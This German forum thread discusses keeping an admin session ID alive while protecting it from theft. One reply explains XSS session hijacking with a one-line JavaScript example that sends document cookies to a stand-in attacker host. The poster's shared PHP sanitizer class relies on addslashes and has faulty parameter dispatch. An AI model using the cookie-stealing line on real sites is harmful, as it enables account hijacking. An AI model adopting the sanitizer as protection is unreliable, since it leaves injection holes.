Sichere SSID

Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

  • Sichere SSID

    Hallo,

    ich möchte einen Admin Login erstellen und versuche ihn so einzurichten, dass der Login solange wie möglich besteht.

    Dazu generiere ich einen md5 Hash einer zufälligen aneinanderreihung von Zahlen (5mal rand(100000000, 999999999) . date("H:i:s") . ...)

    Die SSID wird dan in den cookies des Browsers vom Benutzer gespeichert und sodurch kann der Benutzer sich jeder Zeit mit dem gleichem Browser immer anmelden. (bis er die cookies reinigt oder was auch immer), zur sicherheit dazu habe habe ich noch eingerichtet, dass jedes Mal, wen der Benutzer die Seite irgentwie neu aufruft(z.B. anderer Menüpunkt), wird die SSID neu generiert und upgedatet.

    Eigentlich ist das schon einiger Masen sicher, aber man kann ja immer noch mit trojaner programmen die SSID auslesen und deshalb müchte ich zusetzlich zu der SSID spezielle Merkmale speichern, welche einen SSID Dieb daran hindern sollen sich einzuloggen. Eine IP Adresse ist da zwar hilfreich jedoch nutzlos wen der Dieb sich im gleichem Netzwerk aufhelt.

    Kennt jemand eine sichere Möglichkeit eine SSID möglichst lange aufrecht zu erhalten und dennoch geschützt gegen SSID Diebe zu sein?
  • XSS - Session Hijacking

    du solltest dich so gut es geht gegen XSS - Angriffe schützen, da man mit einem javascript deine cookies ausgelesen werden können. Die klassische XSS-Attacke, ist die Session-Highjacking-Attacke. dabei wird die Session-ID des Benutzers, welche in der Regel in einem cookie abgelegt ist, an den webserver des angreifers übertragen. solange die SID gültig ist, kann dieser dann automatisiert im namen des opfers auf dem web-server hacken. sowas lässt sich schon mit einem ganz kurzen javascript arledigen.

    Quellcode

    1. window.open("http://angreifer.com/?cookie="+document.cookies)
    Das ist ntürlich nur ein Bsp. ;) dieser Code übergibt nun alle cookies der aktuellen seite an die website "http://angreifer.com". Anwender können nur wenig gegen XSS-angriffe tun, er könnte die bedienung wichtiger applikationen wie onlinebanking oder das einkaufen z.B. bei ebay von spziellen accounts aus tätigen und einen browser mit deaktiviertem javascript verwenden. Dies ist aber vorallem sehr mühsam und es gibt ja noch weiter XSS-Angriffe, die davon ausgeschlossen sind, z.B. Session-fixing. (funktionieren auch ohne javascript)
    Der Entwikler der Applikation, also du ;) hast da schon mehr Möglichkeiten. Jede Ausgabe von Daten, die von einer externen Quelle stammen sei es eine Benutzereingabe oder seien es auf andere Art ins System gelangene Daten, ist bei der Ausgabe in HTML besonders zu behandeln. Alle Sonderzeichen müsen durch ihre html kodierung ersetzt werden, damit sie nicht mehr aktiv als Script Code oder als html-code interpretiert werden. Da man ja nicht immer weiss, was ein nun ein sinderzeichen ist, empfiehlt es sich das Kodieren von allen Zeichen ausser der Buchstaben und Ziffern. Die meisten webapplikationen frameworks bieten eine Möglichket, um Ausgaben entsprechend zu Kodieren. In PHP sind das zum Beispiel die Funktionen 'htmlentities()' und 'htmlspecialchars()'. Eine Ausgabe sollte in PHP also immer in dieser Form sein:

    Quellcode

    1. $data = fetch_data_from_database($query);
    2. $quoted_data = htmlentities($data);
    3. echo $quoted_data;

    Problematisch wird es nur, wenn wie in einem Forum ;) der benutzer in der Lage sein soll, bestimmte HTML konstrukte wie fettdruck oder farbveränderungen zu benutzen. Auch hier muss jede Eingabe und Ausgabe die DAten entsprechend der gewünschten Funktionalität anpassen.
    Der Admin des Servers kann auch nur die Eingabe zur Applikation kontrollieren und versuchen, das Einschleusen von javascript zu verhindern. Leider ist das nicht so einfach, es reciht nicht, einfach nach '<script' zu filtern, da das Einbetten von javascript code auf vielen arten erfolgen kann. Am besten ist das filtern von '<' und '%' in allen Eingabefeldern. So ist ein XSS-Angriff erschwert worden. Wenn man die Möglichkeit zur Erstellung einer whitelist hat, sollte man dies machen. Es können natürlich auch speziel produkte gekauft werden die dies verhindern können bzw. dabei helfen xss angriffe zu vermeiden.

    Sry wegen der ganzen Fehler, es ist schon spät ;)

    Ich hoffe ich konnte ein wenig helfen.
    |Pinguine können zwar nicht fliegen - aber auch nicht abstürzen!|
    |MfG >>>js.spaceher0<<< |
  • A danke :), habe mir das durchgelesen und weis jetzt auch besser bescheid wie sie das mit der SSID klauen machen. Eigentlich kann man in meine Seite weder SQL noch HTML Code einschleusen, (zumindest denke ich das, habe dafür diese Klasse geschrieben).

    Aber man kann die SSID immer noch dadurch klauen, indem man z.B. mit einem Programm die SSID rausfiltert. Oder noch tiefer in die Netzwerkkommunikation reingreift.




    PS: Ich habe diese Klasse(n) für mich geschrieben um alle Parameter, auf die ich zugreife gegen HTML Code und SQL Code zu schützen. Ist Sie sicher genug? Welche Lücken sind da noch?

    Quellcode

    1. <?php
    2. class _REQUEST{
    3. /*
    4. * Prüft einen Parameter von Typ Zahl auf seine Gültigkeit und gibt diesen zurück.
    5. * Bei ungültigem Parameter gibt false zurück.
    6. * @pnm Der Name des Parameters.
    7. * @min Minimale Größe der Zahl. (default false)
    8. * @max Maximale Größe der Zahl. (default false)
    9. * @force Bestimmt, ob der Parameter erzwungen werden soll. (default false)
    10. * Beim erzwingen des Parameters wird die nechst gültige Zahl auch aus einem String ausgelesen.
    11. */
    12. static function Digit($pnm, $min = false, $max = false, $force = true){
    13. $x = self::get_needed_parameter($pnm);
    14. $reg = "(-?[\d]+)";
    15. if($force){
    16. $reg = "/" . $reg . "/is";
    17. }else{
    18. $reg = "/^" . $reg . "$/is";
    19. }
    20. for($i = 0;$i < preg_match_all($reg, $x, $list);$i++){
    21. if(self::check_value_is_in_interval($min, $max, $list[0][$i])){
    22. return $list[0][$i];
    23. }
    24. }
    25. return false;
    26. }
    27. /*
    28. * Gibt einen Parameter von Typ Text zurück.
    29. * @pnm Der Name des Parameters.
    30. * @sql_mask Maskiert alle ' und \. (Verhindert SQL Injektionen)
    31. * @html_mask Maskiert einen HTML Code. (Verhindert JavaScript und ehnliches)
    32. * @nl2br Übersetzt neue Zeilen zu <br> für die richtige Darstellung in HTML.
    33. */
    34. static function Text($pnm, $sql_mask = true, $html_mask = false, $nl2br = false){
    35. $text = self::get_needed_parameter($pnm);
    36. if($html_mask){
    37. self::mask_html($text);
    38. }
    39. if($nl2br){ $text = nl2br($text); }
    40. if($sql_mask){
    41. self::mask_sql($text);
    42. }
    43. return $text;
    44. }
    45. /*
    46. * Überprüft, ob der Inhalt des Parameters in die Maske passt.
    47. * @pnm Name des Parameters.
    48. * @regex Maske in Form eines regulären Ausdrucks.
    49. */
    50. static function IsMatch($pnm, $regex){
    51. $strg = self::get_needed_parameter($pnm);
    52. if(preg_match($regex, $strg, $matches)){
    53. return true;
    54. }
    55. return false;
    56. }
    57. /*
    58. * Filtert den Parameter durch eine Maske.
    59. * @pnm Name des Parameters.
    60. * @regex Maske in Form eines regulären Ausdrucks.
    61. */
    62. static function Match($pnm, $regex){
    63. $strg = self::get_needed_parameter($pnm);
    64. preg_match($regex, $strg, $matches);
    65. return $matches;
    66. }
    67. /*
    68. * Filtert den Parameter durch eine Maske mehrmals.
    69. * @pnm Name des Parameters.
    70. * @regex Maske in Form eines regulären Ausdrucks.
    71. * €Anzahl der gefundenen Übereinstimmungen.
    72. */
    73. static function MatchAll($pnm, $regex, &$counter = 0){
    74. $strg = self::get_needed_parameter($pnm);
    75. $counter = preg_match_all($regex, $strg, $matches);
    76. return $matches;
    77. }
    78. static function mask_sql(&$string){
    79. $string = addslashes($string);
    80. }
    81. static function mask_html(&$string){
    82. $string = htmlentities($string);
    83. }
    84. /*
    85. * Ersetzt eine Zeichenkette durch eine andere.
    86. * @search Die zu ersetzende Zeichenkette.
    87. * @replace Die einzusetzende Zeichenkette.
    88. * €subject Die zu durchsuchende Zeichenkette.
    89. */
    90. static function replace($search, $replace, &$subject){
    91. $subject = str_replace($search, $replace, $subject);
    92. }
    93. /*
    94. * Prüft ob eine Zahl im Interval zwischen einschlieslich zwei Zahlen liegt.
    95. * @min Die kleinste zulässige Zahl im Interval. (default false)
    96. * @max Die größte zulässige Zahl im Interval. (default false)
    97. * @val Die zu überprüfende Zahl.
    98. */
    99. static function check_value_is_in_interval($min, $max, $val){
    100. if(($min == false || $val >= $min) && ($max == false || $val <= $max)){
    101. return true;
    102. }
    103. return false;
    104. }
    105. /*
    106. * Gibt den Inhalt eines Header Parameters zurück.
    107. * @pname Der Name des Parameters, welcher zurück gegeben werden soll.
    108. */
    109. static function get_needed_parameter($pname){
    110. if(__CLASS__ == "_GET"){
    111. return $_GET[$pname];
    112. }else if(__CLASS__ == "_POST"){
    113. return $_POST[$pname];
    114. }else if(__CLASS__ == "_SESSION"){
    115. return $_SESSION[$pname];
    116. }else if(__CLASS__ == "_SERVER"){
    117. return $_SERVER[$pname];
    118. }else if(__CLASS__ == "_FILES"){
    119. return $_FILES[$pname];
    120. }else if(__CLASS__ == "_COOKIE"){
    121. return $_COOKIE[$pname];
    122. }
    123. return $_REQUEST[$pname];
    124. }
    125. }
    126. //WARNUNG:Klassennamen sind verbunden mit get_needed_parameter!!!
    127. class _GET extends _REQUEST{}
    128. class _POST extends _REQUEST{}
    129. class _SESSION extends _REQUEST{}
    130. class _SERVER extends _REQUEST{}
    131. class _FILES extends _REQUEST{}
    132. class _COOKIE extends _REQUEST{}
    133. ?>
    134. Verwendung:
    135. <?php
    136. $x = _POST::Digit('id');
    137. ?>
    Alles anzeigen